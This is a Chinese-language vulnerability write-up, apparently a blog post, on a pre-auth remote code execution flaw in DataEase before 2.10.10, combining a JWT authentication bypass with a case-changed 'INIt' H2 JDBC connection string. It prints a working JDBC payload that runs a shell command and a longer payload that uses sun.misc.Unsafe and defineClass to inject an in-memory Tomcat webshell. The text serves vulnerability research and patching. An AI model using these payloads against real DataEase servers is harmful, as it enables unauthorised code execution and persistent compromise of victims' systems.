漏洞描述

DataEase 是一款开源的数据可视化分析工具,旨在帮助用户快速分析数据并洞察业务趋势,从而实现业务的改进与优化。

漏洞影响版本: DataEase < 2.10.10

漏洞详情: 在过滤H2 JDBC连接字符串时存在大小写绕过,攻击者可配合JWT鉴权逻辑缺陷,构造特定的JDBC连接字符串执行任意代码,造成前台远程代码执行。


环境搭建

下载一键安装包:

https://github.com/dataease/dataease/releases/download/v2.10.9/dataease-online-installer-v2.10.9-ce.tar.gz
  1. 解压并执行安装脚本

  2. 修改配置文件

    /opt/dataease2.0/docker-compose.yml

  • JAVA_DEBUG=true
  • 添加端口映射 5005:5005 开启调试模式
  1. 重启服务

    dectl restart

漏洞分析

https://github.com/dataease/dataease/commit/429f654733716bc0afc44c22effddcbede3c8de5

从这个commit里可以发现修复了两处地方:


JWT鉴权逻辑缺陷

位置: io.dataease.auth.filter.CommunityTokenFilter#doFilter

  1. 从请求头获取JWT:X-DE-TOKEN 获取jwt进行验证
  2. 验证异常处理: 验证异常后设置返回包但没有结束整个流程,会继续进入到 filterChain.doFilter
  3. 绕过条件: 如果单看这里的话实际上只要 X-DE-TOKEN 不为空即可通过权限校验流程

实际测试发现的问题:

第一个原因: 获取jwt的密钥是从jwt解析的uid然后通过uid获取用户密码再md5的值,如果获取的uid值不存在的话会直接异常,不会进入下面的异常,所以还是要一个存在的uid值。

第二个原因: TokenFilter过滤器也验证了 X-DE-TOKEN

位置: io.dataease.auth.filter.TokenFilter#doFilter

  • 仅验证了 X-DE-TOKEN 长度大于100
  • uid值不为空
  • 没有进行密钥验证

综合上述分析需要满足下列条件:

  • uid值需要为存在的值
  • X-DE-TOKEN 长度大于100
  • oid不需要都可以

官方安全公告:

https://github.com/dataease/dataease/security/advisories/GHSA-999m-jv2p-5h34

官方公告这里是填了oid的,其实可以不需要oid,随便写什么让生成的jwt长度大于100即可


H2 JDBC RCE大小写绕过分析

位置: io.dataease.datasource.type.H2#getJdbc

触发点:

  • /de2api/datasource/validate
  • /de2api/datasource/getSchema (POC一模一样)

直接登录后台即可发现这个功能点

不需要审计黑盒都可以测试出来,点击这两个功能即可构造出数据包。

绕过方法:

INIT 改为 INIt 即可绕过下面的过滤


漏洞利用

使用如下JDBC payload即可RCE:

jdbc:h2:mem:testdb;TRACE_LEVEL_SYSTEM_OUT=3;INIt=CREATE ALIAS EXEC AS 'String shellexec(String cmd) throws java.io.IOException {Runtime.getRuntime().exec(cmd)\;return "test"\;}'\;CALL EXEC ('touch /tmp/1')


内存马注入

最开始直接使用java-chains生成JDBCPayload发现不行,有两个原因:

1. JDK版本问题

DataEase2.10.9 JDK版本为21

2. Tomcat版本问题

使用的tomcat版本为10

折腾了一下最后使用如下JDBCPayload即可成功打入内存马(需注意转义问题):

jdbc:h2:mem:testdb;TRACE_LEVEL_SYSTEM_OUT=3;INIt=CREATE ALIAS AQWSSSAZ AS 'String shellexec(String abc) throws java.lang.Exception{byte[] standBytes=null\;String tomcatStr=""\;
java.lang.Class unsafeClass = java.lang.Class.forName("sun.misc.Unsafe")\;
java.lang.reflect.Field unsafeField = unsafeClass.getDeclaredField("theUnsafe")\;
unsafeField.setAccessible(true)\;
sun.misc.Unsafe unsafe = (sun.misc.Unsafe) unsafeField.get(null)\;
java.lang.Module module = java.lang.Object.class.getModule()\;
java.lang.Class cls = AQWSSSAZ.class\;
long offset = unsafe.objectFieldOffset(java.lang.Class.class.getDeclaredField("module"))\;
unsafe.getAndSetObject(cls, offset, module)\;
java.lang.reflect.Method defineClass = java.lang.ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, java.lang.Integer.TYPE, java.lang.Integer.TYPE)\;
defineClass.setAccessible(true)\;
byte[] bytecode = java.util.Base64.getDecoder().decode(tomcatStr)\;
java.lang.Class clazz = (java.lang.Class) defineClass.invoke(java.lang.Thread.currentThread().getContextClassLoader(), bytecode, 0, bytecode.length)\;
clazz.newInstance()\;return "test"\;}'\;CALL AQWSSSAZ('123')

tomcatStr使用jmg生成


本文仅供安全研究和学习使用,由于传播、利用此文档提供的信息而造成任何直接或间接的后果及损害,均由使用本人负责,公众号及文章作者不为此承担任何责任。

DataEase 远程代码执行漏洞分析的更多相关文章

  1. [转帖]Windows DHCPServer远程代码执行漏洞分析(CVE-2019-0626)

    Windows DHCPServer远程代码执行漏洞分析(CVE-2019-0626) ADLab2019-03-15共23605人围观 ,发现 4 个不明物体安全报告漏洞 https://www.f ...

  2. Spring框架的反序列化远程代码执行漏洞分析(转)

    欢迎和大家交流技术相关问题: 邮箱: jiangxinnju@163.com 博客园地址: http://www.cnblogs.com/jiangxinnju GitHub地址: https://g ...

  3. thinkphp5.0.22远程代码执行漏洞分析及复现

    虽然网上已经有几篇公开的漏洞分析文章,但都是针对5.1版本的,而且看起来都比较抽象:我没有深入分析5.1版本,但看了下网上分析5.1版本漏洞的文章,发现虽然POC都是一样的,但它们的漏洞触发原因是不同 ...

  4. CVE-2012-1876Microsoft Internet Explorer Col元素远程代码执行漏洞分析

    Microsoft Internet Explorer是微软Windows操作系统中默认捆绑的WEB浏览器.         Microsoft Internet Explorer 6至9版本中存在漏 ...

  5. CVE-2012-0003 Microsoft Windows Media Player ‘winmm.dll’ MIDI文件解析远程代码执行漏洞 分析

    [CNNVD]Microsoft Windows Media Player ‘winmm.dll’ MIDI文件解析远程代码执行漏洞(CNNVD-201201-110)    Microsoft Wi ...

  6. Nexus Repository Manager 3(CVE-2019-7238) 远程代码执行漏洞分析和复现

    0x00 漏洞背景 Nexus Repository Manager 3是一款软件仓库,可以用来存储和分发Maven,NuGET等软件源仓库.其3.14.0及之前版本中,存在一处基于OrientDB自 ...

  7. CVE-2018-7600 Drupal核心远程代码执行漏洞分析

    0x01 漏洞介绍 Drupal是一个开源内容管理系统(CMS),全球超过100万个网站(包括政府,电子零售,企业组织,金融机构等)使用.两周前,Drupal安全团队披露了一个非常关键的漏洞,编号CV ...

  8. CVE-2017-7269—IIS 6.0 WebDAV远程代码执行漏洞分析

    漏洞描述: 3月27日,在Windows 2003 R2上使用IIS 6.0 爆出了0Day漏洞(CVE-2017-7269),漏洞利用PoC开始流传,但糟糕的是这产品已经停止更新了.网上流传的poc ...

  9. Thinkphp5-0-X远程代码执行漏洞分析(2019-1-11)

    周五下午爆洞能不能让人们好好休个周末! 分析过程 本次漏洞关键位置:/thinkphp/library/think/Request.php,lines:501由图可以看到在method函数中引入了可控 ...

  10. phpMoadmin CVE-2015-2208 远程代码执行漏洞分析

    原文:http://www.thinkings.org/2015/03/05/cve-2015-2208-phpmoadmin-exec-vul.html phpMoAdmin 是一个用PHP 开发的 ...

随机推荐

  1. (踩坑)windows本地部署Dify ,玩转智能体、知识库

      windows 安装docker windows 本地部署deepseek windows 通过docker本地部署dify     一:安装Docker 前提: 开启Hyper-V 打开 控制面 ...

  2. 学习Kotlin语法(三)

    简介 在上一节,我们对Kotlin中面向对象编程(OOP)的相关知识有了大致的了解,本章节我们将去进一步了解函数.lambada表达式.内联函数.操作符重载.作用域函数. 目录 函数 函数的使用 参数 ...

  3. MySQL 中 INNER JOIN、LEFT JOIN 和 RIGHT JOIN 的区别是什么?

    在MySQL中,INNER JOIN.LEFT JOIN和RIGHT JOIN是用于连接两个或多个表的操作符,它们的主要区别在于如何处理匹配的记录和不匹配的记录. INNER JOIN: 只返回两个表 ...

  4. 为什么在 MySQL 中不推荐使用多表 JOIN?

    为什么在 MySQL 中不推荐使用多表 JOIN? 在 MySQL 中,虽然 JOIN 操作是关系型数据库的重要特性,用于从多个表中获取数据,但在某些场景下不推荐频繁使用多表 JOIN.以下是一些主要 ...

  5. Java 的 CMS 垃圾回收器和 G1 垃圾回收器在记忆集的维护上有什么不同?

    Java 的 CMS 垃圾回收器和 G1 垃圾回收器在记忆集的维护上的不同 记忆集(Remembered Set, RSet)是垃圾回收器用来跟踪跨代引用的重要结构,它记录老年代对象对新生代对象的引用 ...

  6. Vitepress 建站资源汇总

    整理下使用 Vitepress 搭建博客过程中使用过的一些资源和方案 主要参考站点 Vitepress 官方文档 VitePress快速上手中文教程,这个站点扩展很全,包括静态部署选择,样式美化,第三 ...

  7. Tomcat安装与环境配置详解

    由于eclipse的很多开发版本不支持最新版的9.0,所以接下来下载的是8.0(钢铁直女的鼠标字丑的一批,极易引起不适,给各位猿兄打个预防针先) 官网地址:https://tomcat.apache. ...

  8. SSI注入

    .stm,.shtm和.shtml后缀文件中可以如此执行命令 <!--#exec cmd="ls"-->

  9. 【公众号搬运】React-Native开发鸿蒙NEXT(7)-上线

    .markdown-body { line-height: 1.75; font-weight: 400; font-size: 16px; overflow-x: hidden; color: rg ...

  10. 什么是FIPS 140-3?

    什么是FIPS 140-3? FIPS 140-3是一项由NIST(National Institute of Standards and Technology)发布的针对加密模块安全要求的标准,英文 ...